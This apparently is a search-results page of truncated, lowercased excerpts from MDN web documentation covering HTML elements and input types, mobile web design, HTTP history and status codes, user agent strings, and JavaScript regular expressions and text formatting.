...7fupk3i5gd9/fja7zsmdazmg/ze52mzesj4yu1xeq/ff7w5dvfvas1lsxc4db7z8c3r8p7qjf///2dnzgxlqjuyr3rpqqd/hhyu7ospywscyldqsd3kzvnh738wmdzj5gbn1viww4c3kdon7vovm7s3pab9u5qsu5/x5kunly+eexqbklnserk61+++vnajcfkymtiwffj0qwzbjdkjcets1y8evyd48toz8y/ffzv//vpp4veffxpx77z6l5jewhpu8mqtdawmdlzyrjb/mzm0jct5lj+89+ybm6zz95omh7s4xbygn3sluq4mj5k8ikmgp4f0////fv77//8nly+7mccxmyydawods9jm9tcvpypd35pne3ljdjvj26+h2dhypuenikgfvqexnmsl3tqepxxsqhxpyc666s+fv1fmdkr3tk72zpix8ntc7bdfhfkeevbc9khbk/9iywhierbu6mwby/7//8/4//9/pgonh6jgvazvfdrtq2vgibizrutibgck+ivhvuekwaaaaabjru5erkjggg=="> <img class="intlink" title="bold" onclick="formatdoc('bold');" src="data:image/gif;base64,r0lgodlhfgawaid/amdawaaaach5baeaaaaalaaaaaawabyaqainhi+pa+h9mjy0lhdgtrxzdg5wgfvk6axqyk6y9kxvkknulbb6zgmfads=" /> <img class="intlink" title="italic" onclick="form...
HTML5 - Developer guides
Web › Guide › HTML › HTML5
sage of various input and output devices. styling: letting authors write more sophisticated themes. semantics sections and outlines in html5 a look at the new outlining and sectioning elements in html5: <section>, <article>, <nav>, <header>, <footer> and <aside>. using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of new multimedia content. forms improvements a look at the constraint validation api, several new attributes, new values for the <input> attribute type and the new <output> element. new semantic elements beside sections, media and forms elements, there are numerous new elements, like <mark>, <figure>, <figcaption>, <data>, <time>, <output>, <progress>, or <meter> and <main>, increasing the number of valid html5 elements. im...
... <track> element allows subtitles and chapters. webvtt is a text track format. 2d/3d graphics and effects canvas tutorial learn about the new <canvas> element and how to draw graphs and other objects in firefox. html5 text api for <canvas> elements the html5 text api is now supported by <canvas> elements. webgl webgl brings 3d graphics to the web by introducing an api that closely conforms to opengl es 2.0 that can be used in html5 <canvas> elements. svg an xml-based format of vectorial images that can directly be embedded in the html. performance and integration web workers allows delegation of javascript evaluation to background threads, allowing these activities to prevent slowing down interactive events. xmlhttprequest level 2 allows fetching asynchronously some par...
...o greater performance. history api allows the manipulation of the browser history. this is especially useful for pages loading interactively new information. the contenteditable attribute: transform your website to a wiki! html5 has standardized the contenteditable attribute. learn more about this feature. drag and drop the html5 drag and drop api allows support for dragging and dropping items within and between web sites. this also provides a simpler api for use by extensions and mozilla-based applications. focus management in html the new html5 activeelement and hasfocus attributes are supported. web-based protocol handlers you can now register web applications as protocol handlers using the navigator.registerprotocolhandler() method. requestanimationframe allows control of ani...
Separate sites for mobile and desktop - Developer guides
mobile site, typically at m.example.com. in a nutshell, this technique uses server-side logic to solve all three goals of mobile web development at once — if the user’s browser looks like it’s on a phone, you serve them mobile content, formatted for their phone and optimized for speed. conceptually simple, this is the easiest option to add to an existing site, especially if you are using a cms or web application that supports templates. since only the mobile-specific content, styles, and scripts are sent to mobile users, this method also provides for the best performance out of any of the other options presented here. finally, it also allows for completely different user experiences on desktop and mobile — they’re two different sites, after all! the bad unfortunately, this approach...
...t of any of the other options presented here. finally, it also allows for completely different user experiences on desktop and mobile — they’re two different sites, after all! the bad unfortunately, this approach is not without its drawbacks. for starters, you are now maintaining two different pages for every page on your site that you would like to expose to mobile users. if you are using a cms, it is possible to arrange your site templates in a way that minimizes this duplication. however any time that there is a difference between the mobile and desktop templates, there is a potential source of complication in your code. similarly, this increases the implementation time of any new site features, since you must now code two sets of front-end logic. even more important than that, though...
...n fact, mozilla picked this strategy for the mobile versions of addons.mozilla.org (amo) and support.mozilla.org (sumo). if you’d like to see the source code behind an example of this approach in action, feel free to check out the github repository for amo or sumo. approaches to mobile web development see the following articles for background and other approaches to developing for mobile platforms. what is mobile-friendliness? responsive design a hybrid approach original document information this article was originally published on 13 may 2011, on the mozilla webdev blog as "approaches to mobile web development part 2 – separate sites", by jason grlicky. ...
Mobile Web Development - Developer guides
Web › Guide › Mobile
media queries to conditionally include css rules appropriate for the device screen width and height the viewport meta tag instructs the browser to display your site at the appropriate scale for the user's device. working with touch screens to use a touch screen you'll need to work with dom touch events. you won't be able to use the css :hover pseudo-class, and will need to design clickable items like buttons to respect the fact that fingers are fatter than mouse pointers. see this article on designing for touch screens. you can use the pointer or any-pointer media query to load different css on a touch-enabled device. optimizing images to help users whose devices have low or expensive bandwidth, you can optimize images by loading images appropriate to the device screen size and resolu...
...y. if you don't do that, at least make sure that the default background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your linear-gradient rule. see this list of gecko-specific properties, and this list of webkit-specific properties, and peter beverloo's table of vendor-specific properties. using tools like css lint can help find problems like this in code, and preprocessors like sass and less can help you to produce cross-browser code. take care with user agent sniffing it's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt themselves accordingly. but sometimes this is impractical, and web sites resort to parsing the browser's user agen...
...nt content to each type of device. if you do this, make sure your algorithm is correct, and you aren't serving the wrong type of content to a device because you don't understand a particular browser's user agent string. see this guide to using the user agent string to determine device type. test on multiple browsers test your web site on multiple browsers. this means testing on multiple platforms — at least ios and android. test mobile safari on the iphone using the ios simulator test opera and firefox using the android sdk. see these additional instructions for running firefox for android using the android emulator. ...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
put th...
... put the manifest and the as...
... put the manifest and the associated video files on your web server or cdn. ...
Date and time formats used in HTML - HTML: Hypertext Markup Language
certain html elements use date and/or time values. the formats of the strings that specify these values are described in this article. elements that use such formats include certain forms of the <input> element that let the user choose or specify a date, time, or both, as well as the <ins> and <del> elements, whose datetime attribute specifies the date or date and time at which the insertion or deletion of content occurred. for <input>, the values of type that return a value which contains a string representing a date and/or time are: date datetime datetime-local month time week examples before getting into the intricacies of how date and time strings are written and parsed in html, here are some examples that should give you a good idea what the more commonly-used date and ...
...ts of date and time related strings used by html elements, it is helpful to understand a few fundamental facts about the way they're defined. html uses a variation of the iso 8601 standard for its date and time strings. it's worth reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorithms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look. character set dates and times in html are always strings which use the ascii character set. year numbers in order to simplify the basic format used for date strings in html, the specification requires that all years be given using the mod...
...lose to the same, but not exactly the same: for dates after the establishment of coordinated universal time (utc) in the early 1960s, the time base is z and the offset indicates a particular time zone's offset from the time at the prime meridian at 0º longitude (which passes through the royal observatory at greenwich, england). for dates prior to utc, the time base is instead expressed in terms of ut1, which is the contemporary earth solar time at the prime meridian. the time zone string is appended immediately following the time in the date and time string. you can specify simply "z" as the time zone offset string to indicate that the time is specified in utc. otherwise, the time zone string is constructed as follows: a character indicating the sign of the offset: the plus charact...
<input type="checkbox"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › checkbox
buttons are similar to checkboxes, but with an important distinction — radio buttons are grouped into a set in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. value a domstring representing the value of the checkbox. events change and input supported common attributes checked idl attributes checked, indeterminate and value methods select() value a domstring representing the value of the checkbox. this is never seen on the client-side, but on the server this is the value given to the data submitted with the che...
...rs, firefox by default persists the dynamic checked state of an <input> across page loads. use the autocomplete attribute to control this feature. indeterminate if the indeterminate attribute is present on the <input> element defining a checkbox, the checkbox's value is neither true nor false, but is instead indeterminate, meaning that it's state cannot be determined or stated in pure binary terms. this may happen, for instance, if the state of the checkbox depends on multiple other checkboxes, and those checkboxes have different values. essentially, then, the indeterminate attribute adds a third possible state to the checkbox: "i don't know." in this state, the browser may draw the checkbox in grey or with a different mark inside the checkbox. for instance, browsers on macos may draw the...
...ve examples, you may have noticed that you can toggle a checkbox by clicking on its associated <label> element as well as on the checkbox itself. this is a really useful feature of html form labels that makes it easier to click the option you want, especially on small-screen devices like smartphones. beyond accessibility, this is another good reason to properly set up <label> elements on your forms. indeterminate state checkboxes in addition to the checked and unchecked states, there is a third state a checkbox can be in: indeterminate. this is a state in which it's impossible to say whether the item is toggled on or off. this is set using the htmlinputelement object's indeterminate property via javascript (it cannot be set using an html attribute): inputinstance.indeterminate = true; a...
<input type="radio"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › radio
one shown below. note: checkboxes are similar to radio buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. value a domstring representing the value of the radio button. events change and input supported common attributes checked and value idl attributes checked and value methods select() value the value attribute is a domstring containing the radio button's value. the value is never shown to the user by their user agent. instead, it's used to identify which r...
... have noticed that you can select a radio button by clicking on its associated <label> element, as well as on the radio button itself. this is a really useful feature of html form labels that makes it easier for users to click the option they want, especially on small-screen devices like smartphones. beyond accessibility, this is another good reason to properly set up <label> elements on your forms. validation radio buttons don't participate in constraint validation; they have no real value to be constrained. styling radio inputs the following example shows a slightly more thorough version of the example we've seen throughout the article, with some additional styling, and with better semantics established through use of specialized elements. the html looks like this: <form> <fieldset...
...label> </div> <div> <button type="submit">submit</button> </div> </fieldset> </form> there's not much new to note here except for the addition of <fieldset> and <legend> elements, which help to group the functionality nicely and in a semantic way. ...
<input type="reset"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › reset
buttons, with a default click event handler that resets all of the inputs in the form to their initial values. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. you should usually avoid including reset buttons in your forms. ...
...ub repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. you should usually avoid including reset buttons in your forms. they're rarely useful, and are instead more likely to frustrate users who click them by mistake (often while trying to click the submit button). value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="reset"> element's value attribute contains a domstring that is used as the button's label. buttons such as reset don't have a value otherwise. <input type="reset" value="reset the form"> if you...
...if you want to create a custom button and then customize the behaviour using javascript, you need to use <input type="button">, or better still, a <button> element. ...
<input type="submit"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › submit
<input> elements of type submit are rendered as buttons. when the click event occurs (typically because the user clicked the button), the user agent attempts to submit the form to the server. <input type="submit" value="send request"> value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label. buttons do not have a true value otherwise. <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent. this label is likely to be something along the lin...
...ttribute given on the owning form. permitted values are: get a url is constructed by starting with the url given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enctype attribute. this url is then sent to the server using an http get request. this method works well for simple forms that contain only ascii characters and have no side effects. this is the default value. post the form's data is included in the body of the request that is sent to the url given by the formaction or action attribute using an http post method. this method supports complex data and file attachments. dialog this method is used to indicate that the button simply closes the dialog with which the i...
...the same as _self. _top loads the response into the top-level browsing context; this is the browsing context that is the topmost ancestor of the current context. if the current context is the topmost context, this behaves the same as _self. this attribute is also available on <input type="image"> and <button> elements. using submit buttons <input type="submit"> buttons are used to submit forms. if you want to create a custom button and then customize the behavior using javascript, you need to use <input type="button">, or better still, a <button> element. if you choose to use <button> elements to create the buttons in your form, keep this in mind: if there's only one <button> inside the <form>, that button will be treated as the "submit" button. so you should be in the habit of expres...
<input type="url"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › url
validated to ensure that it's either empty or a properly-formatted url before the form can be submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid url or not. on browsers that don't support inputs of type url, a url input falls back to being a standard text input. value a domstring representing a url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange(). value the <input> element's value attribute co...
...senting a url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange(). value the <input> element's value attribute contains a domstring which is automatically validated as conforming to url syntax. more specifically, there are two possible value formats that will pass validation: an empty string ("") indicating that the user did not enter a value or that the value was removed. a single properly-formed absolute url. this doesn't necessarily mean the url address exists, but it is at least formatted correctly. in simple ter...
...tring which is automatically validated as conforming to url syntax. more specifically, there are two possible value formats that will pass validation: an empty string ("") indicating that the user did not enter a value or that the value was removed. a single properly-formed absolute url. this doesn't necessarily mean the url address exists, but it is at least formatted correctly. in simple terms, this means urlscheme://restofurl. see validation for details on how urls are validated to ensure that they're formatted properly. additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, url inputs support the following attributes: attribute description list the id of the <datalist> element that contains t...
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
Web › HTML › Element › kbd
space font, although this is not mandated by the html standard. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. <kbd> may be nested in various combinations with the <samp> (sample output) element to represent various forms of input or output based on visual cues. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria...
...a larger input. see representing keystrokes within an input below. nesting a <kbd> element inside a <samp> element represents input that has been echoed back to the user by the system. see echoed input, below, for an example. nesting a <samp> element inside a <kbd> element, on the other hand, represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. see the example under representing onscreen input options below. you can define a custom style to override the browser's default font selection for the <kbd> element, although the user's preferences may potentially override your css. examples basic example <p>use the command <kbd>help mycommand</kbd> to view documentation for the command "m...
...he user by the system. <p>if a syntax error occurs, the tool will output the initial command you typed for your review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. for example, you can explain how to choose the "new document" option in the "file" menu using html that looks like this: <p>to create a new file, choose the menu option <kbd><kbd><samp>file</samp></kbd>⇒<kbd><samp>new document</samp></kbd></kbd>.</p> <p>don't forget to click the <kbd><samp>ok</samp></kbd> button to confirm once you've entered...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
Web › HTML › Element › link
to is related to the containing document. as you'll see from our link types reference, there are many different kinds of relationship. there are a number of other common types you'll come across. for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, while the type contains the mime type of the resource being linked. these provide useful hints to allow the browser to choose the most appropriate icon available. you can also provide a media type or query inside a media attribute; this ...
...therefore <link rel="stylesheet"> is permitted in the body. however, this isn't a good practice to follow; it makes more sense to separate your <link> elements from your body content, putting them in the <head>. when using <link> to establish a favicon for a site, and your site uses a content security policy (csp) to enhance its security, the policy applies to the favicon. if you encounter problems with the favicon not loading, verify that the content-security-policy header's img-src directive is not preventing access to it. the html and xhtml specifications define event handlers for the <link> element, but it is unclear how they would be used. under xhtml 1.0, empty elements such as <link> require a trailing slash: <link />. webtv supports the use of the value next for rel to preload th...
...led to any size as it is in a vector format, like image/svg+xml. a white-space separated list of sizes, each in the format <width in pixels>x<height in pixels> or <width in pixels>x<height in pixels>. each of these sizes must be contained in the resource. note: most icon formats are only able to store one single icon; therefore most of the time the sizes attribute contains only one entry. ms's ico format does, as well as apple's icns. ico is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old ie versions). title the title attribute has special semantics on the <link> element. when used on a <link rel="stylesheet"> it defines a preferred or an alternate stylesheet. incorrectly using it may cause the stylesheet to be ignored. ...
<title>: The Document Title element - HTML: Hypertext Markup Language
Web › HTML › Element › title
mitted aria roles no role permitted. dom interface htmltitleelement attributes this element only includes the global attributes. usage notes the <title> element is always used within a page's <head> block. page titles and seo the contents of a page title can have significant implications for search engine optimization (seo). in general, a longer, descriptive title performs better than short or generic titles. the content of the title is one of the components used by search engine algorithms to decide the order in which to list pages in search results. also, the title is the initial "hook" by which you grab the attention of readers glancing at the search results page. a few guidelines and tips for composing good titles: avoid one- or two-word titles. use a descr...
...ages. search engines typically display about the first 55–60 characters of a page title. text beyond that may be lost, so try not to have titles longer than that. if you must use a longer title, make sure the important parts come earlier and that nothing critical is in the part of the title that is likely to be dropped. don't use "keyword blobs." if your title is just a list of words, algorithms often reduce your page's position in the search results. try to make sure your titles are as unique as possible within your own site. duplicate—or near-duplicate—titles can contribute to inaccurate search results. example <title>awesome interesting stuff</title> this example establishes a page whose title (as displayed at the top of the window or in the window's tab) as "awesome interes...
...is to read the page title and infer the content the page contains. this is because navigating into a page to determine its content can be a time consuming and potentially confusing process. example <title>menu - blue house chinese food - foodyum: online takeout today!</title> to help the user, update the page title value to reflect significant page state changes (such as form validation problems). example <title>2 errors - your order - blue house chinese food - foodyum: online takeout today!</title> mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.2 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of '<title>' in that specification. living standard ...
<ul>: The Unordered List element - HTML: Hypertext Markup Language
Web › HTML › Element › ul
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, and if the <ul> element's children include at least one <li> element, palpable content. permitted content zero or more <li>, <script> and <template> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. ...
...tv interface, but not all browsers support it: triangle. if not present and if no css list-style-type property applies to the element, the user agent selects a bullet type depending on the nesting level of the list. warning: do not use this attribute, as it has been deprecated; use the css list-style-type property instead. usage notes the <ul> element is for grouping a collection of items that do not have a numerical ordering, and their order in the list is meaningless. typically, unordered-list items are displayed with a bullet, which can be of several forms, like a dot, a circle, or a square. the bullet style is not defined in the html description of the page, but in its associated css, using the list-style-type property. the <ul> and <ol> elements may be nested as deeply as de...
...ich can be of several forms, like a dot, a circle, or a square. the bullet style is not defined in the html description of the page, but in its associated css, using the list-style-type property. the <ul> and <ol> elements may be nested as deeply as desired. moreover, the nested lists may alternate between <ol> and <ul> without restriction. the <ol> and <ul> elements both represent a list of items. they differ in that, with the <ol> element, the order is meaningful. as a rule of thumb to determine which one to use, try changing the order of the list items; if the meaning is changed, the <ol> element should be used, otherwise you can use <ul>. examples simple example <ul> <li>first item</li> <li>second item</li> <li>third item</li> </ul> the above html will output: nesting a ...
itemid - HTML: Hypertext Markup Language
the itemid global attribute provides microdata in the form of a unique, global identifier of an item. an itemid attribute can only be specified for an element that has both itemscope and itemtype attributes. also, itemid can only be specified on elements that possess an itemscope attribute whose corresponding itemtype refers to or defines a vocabulary that supports global identifiers. the exact meaning of an itemtype's global identifier is provided by the definition of that identifier within the specified vocabulary. the vocabulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled. note: the whatwg definition specifies that an itemid must be a url. however, the following example correctly illustrates that a...
...bulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled. note: the whatwg definition specifies that an itemid must be a url. however, the following example correctly illustrates that a urn may also be used. this inconsistency may reflect the incomplete nature of the microdata specification. example html <dl itemscope itemtype="http://vocab.example.net/book" itemid="urn:isbn:0-330-34032-8"> <dt>title <dd itemprop="title">the reality dysfunction <dt>author <dd itemprop="author">peter f. ...
... incomplete nature of the microdata specification. example html <dl itemscope itemtype="http://vocab.example.net/book" itemid="urn:isbn:0-330-34032-8"> <dt>title <dd itemprop="title">the reality dysfunction <dt>author <dd itemprop="author">peter f. hamilton <dt>publication date <dd><time itemprop="pubdate" datetime="1996-01-26">26 january 1996</time> </dl> structured data itemscope itemtype: itemid http://vocab.example.net/book: urn:isbn:0-330-34032-8 itemprop title the reality dysfunction itemprop author peter f. hamilton itemprop pubdate 1996-01-26 result specifications specification status comment html living standardthe definition of 'itemid' in that specifica...
itemref - HTML: Hypertext Markup Language
properties that are not descendants of an element with the itemscope attribute can be associated with an item using the global attribute itemref. itemref provides a list of element ids (not itemids) elsewhere in the document, with additional properties the itemref attribute can only be specified on elements that have an itemscope attribute specified. note: the itemref attribute is not part of the microdata data model. it is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. ...
...ed. note: the itemref attribute is not part of the microdata data model. it is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. ...
...dding annotations to pages where the data to be annotated does not follow a convenient tree structure. for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. ...
HTML: Hypertext Markup Language
Web › HTML
l to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and summaries. ...
...clude multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and summaries. ...
...rs basic table markup, along with more complex features such as implementing captions and summaries. html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. this module gets you started with creating the client-side/front-end parts of forms. use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc. advanced topics cors enabled image the crossorigin attribute, in combination with an appropriate cors header, allows images defined by the <...
Evolution of HTTP - HTTP
/myimage.gif http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:32 gmt server: cern/3.0 libwww/2.17 content-type: text/gif (image content) these novelties have not been introduced as concerted effort, but as a try-and-see approach over the 1991-1995 period: a server and a browser added one feature and it saw if it got traction. a lot of interoperability problems were common. in november 1996, in order to solve these annoyances, an informational document describing the common practices has been published, rfc 1945. this is the definition of http/1.0 and it is notable that, in the narrow sense of the term, it isn't an official standard. http/1.1 – the standardized protocol in parallel to the somewhat chaotic use of the diverse implementations of http/1...
...ents: a connection can be reused, saving the time to reopen it numerous times to display the resources embedded into the single original document retrieved. pipelining has been added, allowing to send a second request before the answer for the first one is fully transmitted, lowering the latency of the communication. chunked responses are now also supported. additional cache control mechanisms have been introduced. content negotiation, including language, encoding, or type, has been introduced, and allows a client and a server to agree on the most adequate content to exchange. thanks to the host header, the ability to host different domains at the same ip address now allows server colocation. a typical flow of requests, all through one single connection is now looking like this: g...
... distributed file system. around 1996, http has been extended to allow authoring, and a standard called webdav was created. it has been further extended for specific applications like carddav to handle address book entries and caldav to deal with calendars. but all these *dav extensions had a flaw: they had to be implemented by the servers to be used, which was quite complex. their use on web realms stayed confidential. in 2000, a new pattern for using http was designed: representational state transfer (or rest). the actions induced by the api were no more conveyed by new http methods, but only by accessing specific uris with basic http/1.1 methods. this allowed any web application to provide an api to allow retrieval and modification of its data without having to update the browsers or the...
Firefox user agent string reference - HTTP
"17.0"). from firefox 10 on mobile, geckotrail is the same as firefoxversion. the recommended way of sniffing for gecko-based browsers (if you have to sniff for the browser engine instead of using feature detection) is by the presence of the "gecko" and "rv:" strings, since some other browsers include a "like gecko" token. for other products based on gecko, the string can take one of two forms, where the tokens have the same meaning except those noted below: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail appname/appversion mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion appname/appversion appname/appversion indicates the application name and version. for instance, this could be "camino/2.1.1", or "seamonkey/2.7.1". firefox/firefoxversi...
...et content to a device form factor is to use css media queries. however, if you use ua sniffing to target content to a device form factor, please look for mobi (to include opera mobile, which uses "mobi") for the phone form factor and do not assume any correlation between "android" and the device form factor. this way, your code will work if/when firefox ships on other phone/tablet operating systems or android is used for laptops. also, please use touch detection to find touch devices rather than looking for "mobi" or "tablet", since there may be touch devices which are not tablets. firefox os devices identify themselves without any operating system indication; for example: "mozilla/5.0 (mobile; rv:15.0) gecko/15.0 firefox/15.0". the web is the platform. windows windows user agents have t...
... and denote versions with new features (eg: v1.1, 1.2, etc). the third digit is incremented with regular version tags (about every 6 weeks) for security updates, and the fourth is owned by the oem. firefox web runtime the web runtime uses the same user agent string as desktop firefox. other gecko-based browsers these are some sample ua strings from other gecko-based browsers on various platforms. note that many of these have not yet been released on gecko 2.0! browser gecko user agent string firefox for maemo (nokia n900) mozilla/5.0 (maemo; linux armv7l; rv:10.0.1) gecko/20100101 firefox/10.0.1 fennec/10.0.1 camino on mac mozilla/5.0 (macintosh; intel mac os x 10.5; rv:2.0.1) gecko/20100101 firefox/4.0.1 camino/2.2.1 seamonkey on windows...
X-DNS-Prefetch-Control - HTTP
this reduces latency when the user clicks a link. ...
...this reduces latency when the user clicks a link. ...
...yntax x-dns-prefetch-control: on x-dns-prefetch-control: off directives on enables dns prefetching. this is what browsers do, if they support the feature, when this header is not present off disables dns prefetching. this is useful if you don't control the link on the pages, or know that you don't want to leak information to these domains. description dns requests are very small in terms of bandwidth, but latency can be quite high, especially on mobile networks. by speculatively prefetching dns results, latency can be reduced significantly at certain times, such as when the user clicks the link. in some cases, latency can be reduced by a second. the implementation of this prefetching in some browsers allows domain name resolution to occur in parallel with (instead of in serial w...
HTTP response status codes - HTTP
Web › HTTP › Status
not understand the request due to invalid syntax. 401 unauthorized although the http standard specifies "unauthorized", semantically this response means "unauthenticated". that is, the client must authenticate itself to get the requested response. 402 payment required this response code is reserved for future use. the initial aim for creating this code was using it for digital payment systems, however this status code is used very rarely and no standard convention exists. 403 forbidden the client does not have access rights to the content; that is, it is unauthorized, so the server is refusing to give the requested resource. unlike 401, the client's identity is known to the server. 404 not found the server can not find the requested resource. in the browser, this means the url is ...
...lowed the request method is known by the server but has been disabled and cannot be used. for example, an api may forbid delete-ing a resource. the two mandatory methods, get and head, must never be disabled and should not return this error code. 406 not acceptable this response is sent when the web server, after performing server-driven content negotiation, doesn't find any content that conforms to the criteria given by the user agent. 407 proxy authentication required this is similar to 401 but authentication is needed to be done by a proxy. 408 request timeout this response is sent on an idle connection by some servers, even without any previous request by the client. it means that the server would like to shut down this unused connection. this response is used much more since some...
... this is similar to 401 but authentication is needed to be done by a proxy. 408 request timeout this response is sent on an idle connection by some servers, even without any previous request by the client. it means that the server would like to shut down this unused connection. this response is used much more since some browsers, like chrome, firefox 27+, or ie9, use http pre-connection mechanisms to speed up surfing. also note that some servers merely shut down the connection without sending this message. 409 conflict this response is sent when a request conflicts with the current state of the server. 410 gone this response is sent when the requested content has been permanently deleted from server, with no forwarding address. clients are expected to remove their caches and links to t...
Regular expressions - JavaScript
ern a regular expression pattern is composed of simple characters, such as /abc/, or a combination of simple and special characters, such as /ab*c/ or /chapter (\d+)\.\d*/. the last example includes parentheses, which are used as a memory device. the match made with this part of the pattern is remembered for later use, as described in using groups. note: if you are already familiar with the forms of a regular expression, you may also read the cheatsheet for a quick lookup for a specific pattern/construct. using simple patterns simple patterns are constructed of characters for which you want to find a direct match. for example, the pattern /abc/ matches character combinations in strings only when the exact sequence "abc" occurs (all characters together and in that order). such a match w...
...("a\\*b") create the same expression, which searches for "a" followed by a literal "*" followed by "b". if escape strings are not already part of your pattern you can add them using string.replace: function escaperegexp(string) { return string.replace(/[.*+\-?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string } the "g" after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. it is explained in detail below in advanced searching with flags. why isn't this built into javascript? there is a proposal to add such a function to regexp, but it was rejected by tc39. using parentheses parentheses around any part of the regular expression pattern causes that part of the matched substring to be remembere...
...cial characters to verify input in the following example, the user is expected to enter a phone number. when the user presses the "check" button, the script checks the validity of the number. if the number is valid (matches the character sequence specified by the regular expression), the script shows a message thanking the user and confirming the number. if the number is invalid, the script informs the user that the phone number is not valid. within non-capturing parentheses (?: , the regular expression looks for three numeric characters \d{3} or | a left parenthesis \( followed by three digits \d{3}, followed by a close parenthesis \), (end non-capturing parenthesis )), followed by one dash, forward slash, or decimal point and when found, remember the character ([-\/\.]), followed by thre...
Text formatting - JavaScript
, matchall, replace, replaceall, search work with regular expressions. tolowercase, touppercase return the string in all lowercase or all uppercase, respectively. normalize returns the unicode normalization form of the calling string value. repeat returns a string consisting of the elements of the object repeated the given times. trim trims whitespace from the beginning and end of the string. multi-line template literals template literals are string literals allowing embedded expressions. you can use multi-line strings and string interpolation features with them. template literals are enclosed by the back-tick (` `) (grave accent) character instead of double or single quotes. template literals can contain place holders. the...
...itive string comparison, number formatting, and date and time formatting. the constructors for collator, numberformat, and datetimeformat objects are properties of the intl object. date and time formatting the datetimeformat object is useful for formatting date and time. the following formats a date for english as used in the united states. ...
...or collator, numberformat, and datetimeformat objects are properties of the intl object. date and time formatting the datetimeformat object is useful for formatting date and time. the following formats a date for english as used in the united states. (the result is different in another time zone.) const msperday = 24 * 60 * 60 * 1000; // july 17, 2014 00:00:00 utc. ...
Using Promises - JavaScript
